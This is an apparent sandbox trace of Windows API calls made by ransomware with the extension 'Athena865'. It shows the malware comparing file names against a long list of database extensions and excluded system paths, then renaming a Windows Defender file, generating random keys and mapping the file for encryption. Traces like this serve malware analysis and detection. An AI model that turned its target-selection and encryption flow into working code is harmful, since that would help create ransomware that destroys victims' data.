returned 4 [0096.119] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0096.119] lstrlenW (lpString="avhd") returned 4 [0096.119] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0096.119] lstrlenW (lpString="db") returned 2 [0096.119] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0096.119] lstrlenW (lpString="db2") returned 3 [0096.119] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0096.119] lstrlenW (lpString="db3") returned 3 [0096.119] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0096.120] lstrlenW (lpString="dbf") returned 3 [0096.120] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0096.120] lstrlenW (lpString="mdf") returned 3 [0096.120] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0096.120] lstrlenW (lpString="mdb") returned 3 [0096.120] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0096.120] lstrlenW (lpString="sql") returned 3 [0096.120] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0096.120] lstrlenW (lpString="sqlite") returned 6 [0096.120] lstrcmpiW (lpString1="ll.mui", lpString2="sqlite") returned -1 [0096.120] lstrlenW (lpString="sqlite3") returned 7 [0096.120] lstrcmpiW (lpString1="dll.mui", lpString2="sqlite3") returned -1 [0096.120] lstrlenW (lpString="sqlitedb") returned 8 [0096.120] lstrcmpiW (lpString1=".dll.mui", lpString2="sqlitedb") returned -1 [0096.120] lstrlenW (lpString="xml") returned 3 [0096.120] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0096.120] lstrlenW (lpString="$er") returned 3 [0096.120] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0096.120] lstrlenW (lpString="4dd") returned 3 [0096.120] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0096.120] lstrlenW (lpString="4dl") returned 3 [0096.120] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0096.120] lstrlenW (lpString="^^^") returned 3 [0096.120] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0096.120] lstrlenW (lpString="abs") returned 3 [0096.120] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0096.120] lstrlenW (lpString="abx") returned 3 [0096.120] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0096.120] lstrlenW (lpString="accdb") returned 5 [0096.120] lstrcmpiW (lpString1="l.mui", lpString2="accdb") returned 1 [0096.120] lstrlenW (lpString="accdc") returned 5 [0096.121] lstrcmpiW (lpString1="l.mui", lpString2="accdc") returned 1 [0096.121] lstrlenW (lpString="accde") returned 5 [0096.121] lstrcmpiW (lpString1="l.mui", lpString2="accde") returned 1 [0096.121] lstrlenW (lpString="accdr") returned 5 [0096.121] lstrcmpiW (lpString1="l.mui", lpString2="accdr") returned 1 [0096.121] lstrlenW (lpString="accdt") returned 5 [0096.121] lstrcmpiW (lpString1="l.mui", lpString2="accdt") returned 1 [0096.121] lstrlenW (lpString="accdw") returned 5 [0096.121] lstrcmpiW (lpString1="l.mui", lpString2="accdw") returned 1 [0096.121] lstrlenW (lpString="accft") returned 5 [0096.121] lstrcmpiW (lpString1="l.mui", lpString2="accft") returned 1 [0096.121] lstrlenW (lpString="adb") returned 3 [0096.121] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0096.121] lstrlenW (lpString="adb") returned 3 [0096.121] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0096.121] lstrlenW (lpString="ade") returned 3 [0096.121] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0096.121] lstrlenW (lpString="adf") returned 3 [0096.121] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0096.121] lstrlenW (lpString="adn") returned 3 [0096.121] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0096.121] lstrlenW (lpString="adp") returned 3 [0096.121] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0096.121] lstrlenW (lpString="alf") returned 3 [0096.121] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0096.121] lstrlenW (lpString="ask") returned 3 [0096.121] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0096.121] lstrlenW (lpString="btr") returned 3 [0096.121] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0096.121] lstrlenW (lpString="cat") returned 3 [0096.121] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0096.121] lstrlenW (lpString="cdb") returned 3 [0096.122] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0096.122] lstrlenW (lpString="ckp") returned 3 [0096.122] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0096.122] lstrlenW (lpString="cma") returned 3 [0096.122] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0096.122] lstrlenW (lpString="cpd") returned 3 [0096.122] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0096.122] lstrlenW (lpString="dacpac") returned 6 [0096.122] lstrcmpiW (lpString1="ll.mui", lpString2="dacpac") returned 1 [0096.122] lstrlenW (lpString="dad") returned 3 [0096.122] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0096.122] lstrlenW (lpString="dadiagrams") returned 10 [0096.122] lstrcmpiW (lpString1="sc.dll.mui", lpString2="dadiagrams") returned 1 [0096.122] lstrlenW (lpString="daschema") returned 8 [0096.122] lstrcmpiW (lpString1=".dll.mui", lpString2="daschema") returned -1 [0096.122] lstrlenW (lpString="db-journal") returned 10 [0096.122] lstrcmpiW (lpString1="sc.dll.mui", lpString2="db-journal") returned 1 [0096.122] lstrlenW (lpString="db-shm") returned 6 [0096.122] lstrcmpiW (lpString1="ll.mui", lpString2="db-shm") returned 1 [0096.122] lstrlenW (lpString="db-wal") returned 6 [0096.122] lstrcmpiW (lpString1="ll.mui", lpString2="db-wal") returned 1 [0096.122] lstrlenW (lpString="dbc") returned 3 [0096.122] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0096.122] lstrlenW (lpString="dbs") returned 3 [0096.122] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0096.122] lstrlenW (lpString="dbt") returned 3 [0096.122] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0096.122] lstrlenW (lpString="dbv") returned 3 [0096.122] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0096.122] lstrlenW (lpString="dbx") returned 3 [0096.122] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0096.123] lstrlenW (lpString="dcb") returned 3 [0096.123] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0096.123] lstrlenW (lpString="dct") returned 3 [0096.123] lstrcmpiW (lpString1="mui", lpString2="dct") returned 1 [0096.123] lstrlenW (lpString="dcx") returned 3 [0096.123] lstrcmpiW (lpString1="mui", lpString2="dcx") returned 1 [0096.123] lstrlenW (lpString="ddl") returned 3 [0096.123] lstrcmpiW (lpString1="mui", lpString2="ddl") returned 1 [0096.123] lstrlenW (lpString="dlis") returned 4 [0096.123] lstrcmpiW (lpString1=".mui", lpString2="dlis") returned -1 [0096.123] lstrlenW (lpString="dp1") returned 3 [0096.123] lstrcmpiW (lpString1="mui", lpString2="dp1") returned 1 [0096.123] lstrlenW (lpString="dqy") returned 3 [0096.123] lstrcmpiW (lpString1="mui", lpString2="dqy") returned 1 [0096.123] lstrlenW (lpString="dsk") returned 3 [0096.123] lstrcmpiW (lpString1="mui", lpString2="dsk") returned 1 [0096.123] lstrlenW (lpString="dsn") returned 3 [0096.123] lstrcmpiW (lpString1="mui", lpString2="dsn") returned 1 [0096.123] lstrlenW (lpString="dtsx") returned 4 [0096.123] lstrcmpiW (lpString1=".mui", lpString2="dtsx") returned -1 [0096.123] lstrlenW (lpString="dxl") returned 3 [0096.123] lstrcmpiW (lpString1="mui", lpString2="dxl") returned 1 [0096.123] lstrlenW (lpString="eco") returned 3 [0096.123] lstrcmpiW (lpString1="mui", lpString2="eco") returned 1 [0096.123] lstrlenW (lpString="ecx") returned 3 [0096.123] lstrcmpiW (lpString1="mui", lpString2="ecx") returned 1 [0096.123] lstrlenW (lpString="edb") returned 3 [0096.123] lstrcmpiW (lpString1="mui", lpString2="edb") returned 1 [0096.123] lstrlenW (lpString="epim") returned 4 [0096.123] lstrcmpiW (lpString1=".mui", lpString2="epim") returned -1 [0096.123] lstrlenW (lpString="fcd") returned 3 [0096.123] lstrcmpiW (lpString1="mui", lpString2="fcd") returned 1 [0096.124] lstrlenW (lpString="fdb") returned 3 [0096.124] lstrcmpiW (lpString1="mui", lpString2="fdb") returned 1 [0096.124] lstrlenW (lpString="fic") returned 3 [0096.124] lstrcmpiW (lpString1="mui", lpString2="fic") returned 1 [0096.124] lstrlenW (lpString="flexolibrary") returned 12 [0096.124] lstrcmpiW (lpString1="Desc.dll.mui", lpString2="flexolibrary") returned -1 [0096.124] lstrlenW (lpString="fm5") returned 3 [0096.124] lstrcmpiW (lpString1="mui", lpString2="fm5") returned 1 [0096.124] lstrlenW (lpString="fmp") returned 3 [0096.124] lstrcmpiW (lpString1="mui", lpString2="fmp") returned 1 [0096.124] lstrlenW (lpString="fmp12") returned 5 [0096.124] lstrcmpiW (lpString1="l.mui", lpString2="fmp12") returned 1 [0096.124] lstrlenW (lpString="fmpsl") returned 5 [0096.124] lstrcmpiW (lpString1="l.mui", lpString2="fmpsl") returned 1 [0096.124] lstrlenW (lpString="fol") returned 3 [0096.124] lstrcmpiW (lpString1="mui", lpString2="fol") returned 1 [0096.124] lstrlenW (lpString="fp3") returned 3 [0096.124] lstrcmpiW (lpString1="mui", lpString2="fp3") returned 1 [0096.124] lstrlenW (lpString="fp4") returned 3 [0096.124] lstrcmpiW (lpString1="mui", lpString2="fp4") returned 1 [0096.124] lstrlenW (lpString="fp5") returned 3 [0096.124] lstrcmpiW (lpString1="mui", lpString2="fp5") returned 1 [0096.124] lstrlenW (lpString="fp7") returned 3 [0096.124] lstrcmpiW (lpString1="mui", lpString2="fp7") returned 1 [0096.124] lstrlenW (lpString="fpt") returned 3 [0096.124] lstrcmpiW (lpString1="mui", lpString2="fpt") returned 1 [0096.124] lstrlenW (lpString="frm") returned 3 [0096.124] lstrcmpiW (lpString1="mui", lpString2="frm") returned 1 [0096.124] lstrlenW (lpString="gdb") returned 3 [0096.124] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0096.124] lstrlenW (lpString="gdb") returned 3 [0096.125] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0096.125] lstrlenW (lpString="grdb") returned 4 [0096.125] lstrcmpiW (lpString1=".mui", lpString2="grdb") returned -1 [0096.125] lstrlenW (lpString="gwi") returned 3 [0096.125] lstrcmpiW (lpString1="mui", lpString2="gwi") returned 1 [0096.125] lstrlenW (lpString="hdb") returned 3 [0096.125] lstrcmpiW (lpString1="mui", lpString2="hdb") returned 1 [0096.125] lstrlenW (lpString="his") returned 3 [0096.125] lstrcmpiW (lpString1="mui", lpString2="his") returned 1 [0096.125] lstrlenW (lpString="ib") returned 2 [0096.125] lstrcmpiW (lpString1="ui", lpString2="ib") returned 1 [0096.125] lstrlenW (lpString="idb") returned 3 [0096.125] lstrcmpiW (lpString1="mui", lpString2="idb") returned 1 [0096.125] lstrlenW (lpString="ihx") returned 3 [0096.125] lstrcmpiW (lpString1="mui", lpString2="ihx") returned 1 [0096.125] lstrlenW (lpString="itdb") returned 4 [0096.125] lstrcmpiW (lpString1=".mui", lpString2="itdb") returned -1 [0096.125] lstrlenW (lpString="itw") returned 3 [0096.125] lstrcmpiW (lpString1="mui", lpString2="itw") returned 1 [0096.125] lstrlenW (lpString="jet") returned 3 [0096.125] lstrcmpiW (lpString1="mui", lpString2="jet") returned 1 [0096.125] lstrlenW (lpString="jtx") returned 3 [0096.125] lstrcmpiW (lpString1="mui", lpString2="jtx") returned 1 [0096.125] lstrlenW (lpString="kdb") returned 3 [0096.125] lstrcmpiW (lpString1="mui", lpString2="kdb") returned 1 [0096.125] lstrlenW (lpString="kexi") returned 4 [0096.125] lstrcmpiW (lpString1=".mui", lpString2="kexi") returned -1 [0096.125] lstrlenW (lpString="kexic") returned 5 [0096.125] lstrcmpiW (lpString1="l.mui", lpString2="kexic") returned 1 [0096.125] lstrlenW (lpString="kexis") returned 5 [0096.125] lstrcmpiW (lpString1="l.mui", lpString2="kexis") returned 1 [0096.125] lstrlenW (lpString="lgc") returned 3 [0096.126] lstrcmpiW (lpString1="mui", lpString2="lgc") returned 1 [0096.126] lstrlenW (lpString="lwx") returned 3 [0096.126] lstrcmpiW (lpString1="mui", lpString2="lwx") returned 1 [0096.126] lstrlenW (lpString="maf") returned 3 [0096.126] lstrcmpiW (lpString1="mui", lpString2="maf") returned 1 [0096.126] lstrlenW (lpString="maq") returned 3 [0096.126] lstrcmpiW (lpString1="mui", lpString2="maq") returned 1 [0096.126] lstrlenW (lpString="mar") returned 3 [0096.126] lstrcmpiW (lpString1="mui", lpString2="mar") returned 1 [0096.126] lstrlenW (lpString="marshal") returned 7 [0096.126] lstrcmpiW (lpString1="dll.mui", lpString2="marshal") returned -1 [0096.126] lstrlenW (lpString="mas") returned 3 [0096.126] lstrcmpiW (lpString1="mui", lpString2="mas") returned 1 [0096.126] lstrlenW (lpString="mav") returned 3 [0096.126] lstrcmpiW (lpString1="mui", lpString2="mav") returned 1 [0096.126] lstrlenW (lpString="maw") returned 3 [0096.126] lstrcmpiW (lpString1="mui", lpString2="maw") returned 1 [0096.126] lstrlenW (lpString="mdbhtml") returned 7 [0096.126] lstrcmpiW (lpString1="dll.mui", lpString2="mdbhtml") returned -1 [0096.126] lstrlenW (lpString="mdn") returned 3 [0096.126] lstrcmpiW (lpString1="mui", lpString2="mdn") returned 1 [0096.126] lstrlenW (lpString="mdt") returned 3 [0096.126] lstrcmpiW (lpString1="mui", lpString2="mdt") returned 1 [0096.126] lstrlenW (lpString="mfd") returned 3 [0096.126] lstrcmpiW (lpString1="mui", lpString2="mfd") returned 1 [0096.126] lstrlenW (lpString="mpd") returned 3 [0096.126] lstrcmpiW (lpString1="mui", lpString2="mpd") returned 1 [0096.126] lstrlenW (lpString="mrg") returned 3 [0096.126] lstrcmpiW (lpString1="mui", lpString2="mrg") returned 1 [0096.126] lstrlenW (lpString="mud") returned 3 [0096.127] lstrcmpiW (lpString1="mui", lpString2="mud") returned 1 [0096.127] lstrlenW (lpString="mwb") returned 3 [0096.127] lstrcmpiW (lpString1="mui", lpString2="mwb") returned -1 [0096.127] lstrlenW (lpString="myd") returned 3 [0096.127] lstrcmpiW (lpString1="mui", lpString2="myd") returned -1 [0096.127] lstrlenW (lpString="ndf") returned 3 [0096.127] lstrcmpiW (lpString1="mui", lpString2="ndf") returned -1 [0096.127] lstrlenW (lpString="nnt") returned 3 [0096.127] lstrcmpiW (lpString1="mui", lpString2="nnt") returned -1 [0096.127] lstrlenW (lpString="nrmlib") returned 6 [0096.127] lstrcmpiW (lpString1="ll.mui", lpString2="nrmlib") returned -1 [0096.127] lstrlenW (lpString="ns2") returned 3 [0096.127] lstrcmpiW (lpString1="mui", lpString2="ns2") returned -1 [0096.127] lstrlenW (lpString="ns3") returned 3 [0096.127] lstrcmpiW (lpString1="mui", lpString2="ns3") returned -1 [0096.127] lstrlenW (lpString="ns4") returned 3 [0096.127] lstrcmpiW (lpString1="mui", lpString2="ns4") returned -1 [0096.127] lstrlenW (lpString="nsf") returned 3 [0096.127] lstrcmpiW (lpString1="mui", lpString2="nsf") returned -1 [0096.127] lstrlenW (lpString="nv") returned 2 [0096.127] lstrcmpiW (lpString1="ui", lpString2="nv") returned 1 [0096.127] lstrlenW (lpString="nv2") returned 3 [0096.127] lstrcmpiW (lpString1="mui", lpString2="nv2") returned -1 [0096.127] lstrlenW (lpString="nwdb") returned 4 [0096.127] lstrcmpiW (lpString1=".mui", lpString2="nwdb") returned -1 [0096.127] lstrlenW (lpString="nyf") returned 3 [0096.127] lstrcmpiW (lpString1="mui", lpString2="nyf") returned -1 [0096.127] lstrlenW (lpString="odb") returned 3 [0096.127] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0096.127] lstrlenW (lpString="odb") returned 3 [0096.127] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0096.128] lstrlenW (lpString="oqy") returned 3 [0096.128] lstrcmpiW (lpString1="mui", lpString2="oqy") returned -1 [0096.128] lstrlenW (lpString="ora") returned 3 [0096.128] lstrcmpiW (lpString1="mui", lpString2="ora") returned -1 [0096.128] lstrlenW (lpString="orx") returned 3 [0096.128] lstrcmpiW (lpString1="mui", lpString2="orx") returned -1 [0096.128] lstrlenW (lpString="owc") returned 3 [0096.128] lstrcmpiW (lpString1="mui", lpString2="owc") returned -1 [0096.128] lstrlenW (lpString="p96") returned 3 [0096.128] lstrcmpiW (lpString1="mui", lpString2="p96") returned -1 [0096.128] lstrlenW (lpString="p97") returned 3 [0096.128] lstrcmpiW (lpString1="mui", lpString2="p97") returned -1 [0096.128] lstrlenW (lpString="pan") returned 3 [0096.128] lstrcmpiW (lpString1="mui", lpString2="pan") returned -1 [0096.128] lstrlenW (lpString="pdb") returned 3 [0096.128] lstrcmpiW (lpString1="mui", lpString2="pdb") returned -1 [0096.128] lstrlenW (lpString="pdm") returned 3 [0096.128] lstrcmpiW (lpString1="mui", lpString2="pdm") returned -1 [0096.128] lstrlenW (lpString="pnz") returned 3 [0096.128] lstrcmpiW (lpString1="mui", lpString2="pnz") returned -1 [0096.128] lstrlenW (lpString="qry") returned 3 [0096.128] lstrcmpiW (lpString1="mui", lpString2="qry") returned -1 [0096.128] lstrlenW (lpString="qvd") returned 3 [0096.128] lstrcmpiW (lpString1="mui", lpString2="qvd") returned -1 [0096.128] lstrlenW (lpString="rbf") returned 3 [0096.128] lstrcmpiW (lpString1="mui", lpString2="rbf") returned -1 [0096.128] lstrlenW (lpString="rctd") returned 4 [0096.128] lstrcmpiW (lpString1=".mui", lpString2="rctd") returned -1 [0096.128] lstrlenW (lpString="rod") returned 3 [0096.128] lstrcmpiW (lpString1="mui", lpString2="rod") returned -1 [0096.129] lstrlenW (lpString="rodx") returned 4 [0096.129] lstrcmpiW (lpString1=".mui", lpString2="rodx") returned -1 [0096.129] lstrlenW (lpString="rpd") returned 3 [0096.129] lstrcmpiW (lpString1="mui", lpString2="rpd") returned -1 [0096.129] lstrlenW (lpString="rsd") returned 3 [0096.129] lstrcmpiW (lpString1="mui", lpString2="rsd") returned -1 [0096.129] lstrlenW (lpString="sas7bdat") returned 8 [0096.129] lstrcmpiW (lpString1=".dll.mui", lpString2="sas7bdat") returned -1 [0096.129] lstrlenW (lpString="sbf") returned 3 [0096.129] lstrcmpiW (lpString1="mui", lpString2="sbf") returned -1 [0096.129] lstrlenW (lpString="scx") returned 3 [0096.129] lstrcmpiW (lpString1="mui", lpString2="scx") returned -1 [0096.129] lstrlenW (lpString="sdb") returned 3 [0096.129] lstrcmpiW (lpString1="mui", lpString2="sdb") returned -1 [0096.129] lstrlenW (lpString="sdc") returned 3 [0096.129] lstrcmpiW (lpString1="mui", lpString2="sdc") returned -1 [0096.129] lstrlenW (lpString="sdf") returned 3 [0096.129] lstrcmpiW (lpString1="mui", lpString2="sdf") returned -1 [0096.130] lstrlenW (lpString="sis") returned 3 [0096.130] lstrcmpiW (lpString1="mui", lpString2="sis") returned -1 [0096.130] lstrlenW (lpString="spq") returned 3 [0096.130] lstrcmpiW (lpString1="mui", lpString2="spq") returned -1 [0096.131] lstrlenW (lpString="te") returned 2 [0096.131] lstrcmpiW (lpString1="ui", lpString2="te") returned 1 [0096.131] lstrlenW (lpString="teacher") returned 7 [0096.131] lstrcmpiW (lpString1="dll.mui", lpString2="teacher") returned -1 [0096.131] lstrlenW (lpString="tmd") returned 3 [0096.131] lstrcmpiW (lpString1="mui", lpString2="tmd") returned -1 [0096.131] lstrlenW (lpString="tps") returned 3 [0096.131] lstrcmpiW (lpString1="mui", lpString2="tps") returned -1 [0096.131] lstrlenW (lpString="trc") returned 3 [0096.131] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0096.131] lstrlenW (lpString="trc") returned 3 [0096.131] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0096.131] lstrlenW (lpString="trm") returned 3 [0096.131] lstrcmpiW (lpString1="mui", lpString2="trm") returned -1 [0096.131] lstrlenW (lpString="udb") returned 3 [0096.131] lstrcmpiW (lpString1="mui", lpString2="udb") returned -1 [0096.131] lstrlenW (lpString="udl") returned 3 [0096.131] lstrcmpiW (lpString1="mui", lpString2="udl") returned -1 [0096.131] lstrlenW (lpString="usr") returned 3 [0096.131] lstrcmpiW (lpString1="mui", lpString2="usr") returned -1 [0096.131] lstrlenW (lpString="v12") returned 3 [0096.131] lstrcmpiW (lpString1="mui", lpString2="v12") returned -1 [0096.132] lstrlenW (lpString="vis") returned 3 [0096.132] lstrcmpiW (lpString1="mui", lpString2="vis") returned -1 [0096.132] lstrlenW (lpString="vpd") returned 3 [0096.132] lstrcmpiW (lpString1="mui", lpString2="vpd") returned -1 [0096.132] lstrlenW (lpString="vvv") returned 3 [0096.132] lstrcmpiW (lpString1="mui", lpString2="vvv") returned -1 [0096.132] lstrlenW (lpString="wdb") returned 3 [0096.132] lstrcmpiW (lpString1="mui", lpString2="wdb") returned -1 [0096.132] lstrlenW (lpString="wmdb") returned 4 [0096.132] lstrcmpiW (lpString1=".mui", lpString2="wmdb") returned -1 [0096.132] lstrlenW (lpString="wrk") returned 3 [0096.132] lstrcmpiW (lpString1="mui", lpString2="wrk") returned -1 [0096.132] lstrlenW (lpString="xdb") returned 3 [0096.132] lstrcmpiW (lpString1="mui", lpString2="xdb") returned -1 [0096.132] lstrlenW (lpString="xld") returned 3 [0096.132] lstrcmpiW (lpString1="mui", lpString2="xld") returned -1 [0096.132] lstrlenW (lpString="xmlff") returned 5 [0096.132] lstrcmpiW (lpString1="l.mui", lpString2="xmlff") returned -1 [0096.132] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui.Athena865") returned 72 [0096.132] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui" (normalized: "c:\\program files (x86)\\windows defender\\en-us\\mpasdesc.dll.mui"), lpNewFileName="C:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui.Athena865" (normalized: "c:\\program files (x86)\\windows defender\\en-us\\mpasdesc.dll.mui.athena865"), dwFlags=0x1) returned 1 [0096.133] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui.Athena865" (normalized: "c:\\program files (x86)\\windows defender\\en-us\\mpasdesc.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0096.133] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=35328) returned 1 [0096.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0096.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0096.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0096.134] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0096.134] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0096.134] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.135] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8d00, lpName=0x0) returned 0x17c [0096.136] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8d00) returned 0x100000 [0096.140] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0096.141] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0096.141] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.141] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0096.141] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0096.141] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0096.141] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0096.141] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0096.141] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0096.141] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0096.141] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0096.141] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0096.141] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0096.141] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0096.142] CloseHandle (hObject=0x17c) returned 1 [0096.142] CloseHandle (hObject=0x154) returned 1 [0096.142] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0096.142] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0096.142] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0096.142] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf9a66, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcf9a66, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MpEvMsg.dll.mui", cAlternateFileName="")) returned 1 [0096.142] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0096.142] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0096.142] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2=".") returned 1 [0096.142] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="..") returned 1 [0096.142] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="windows") returned -1 [0096.142] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="bootmgr") returned 1 [0096.142] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="temp") returned -1 [0096.142] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="pagefile.sys") returned -1 [0096.142] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="boot") returned 1 [0096.143] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="ids.txt") returned 1 [0096.143] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="ntuser.dat") returned -1 [0096.143] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="perflogs") returned -1 [0096.143] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2="MSBuild") returned -1 [0096.143] lstrlenW (lpString="MpEvMsg.dll.mui") returned 15 [0096.143] lstrcpyW (in: lpString1=0x241e8a4, lpString2="MpEvMsg.dll.mui" | out: lpString1="MpEvMsg.dll.mui") returned="MpEvMsg.dll.mui" [0096.143] lstrlenW (lpString="MpEvMsg.dll.mui") returned 15 [0096.143] lstrlenW (lpString="Athena865") returned 9 [0096.143] lstrcmpiW (lpString1="g.dll.mui", lpString2="Athena865") returned 1 [0096.143] lstrlenW (lpString=".dll") returned 4 [0096.143] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2=".dll") returned 1 [0096.143] lstrlenW (lpString=".lnk") returned 4 [0096.143] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2=".lnk") returned 1 [0096.143] lstrlenW (lpString=".ini") returned 4 [0096.143] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2=".ini") returned 1 [0096.143] lstrlenW (lpString=".sys") returned 4 [0096.143] lstrcmpiW (lpString1="MpEvMsg.dll.mui", lpString2=".sys") returned 1 [0096.143] lstrlenW (lpString="MpEvMsg.dll.mui") returned 15 [0096.143] lstrlenW (lpString="bak") returned 3 [0096.143] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0096.143] 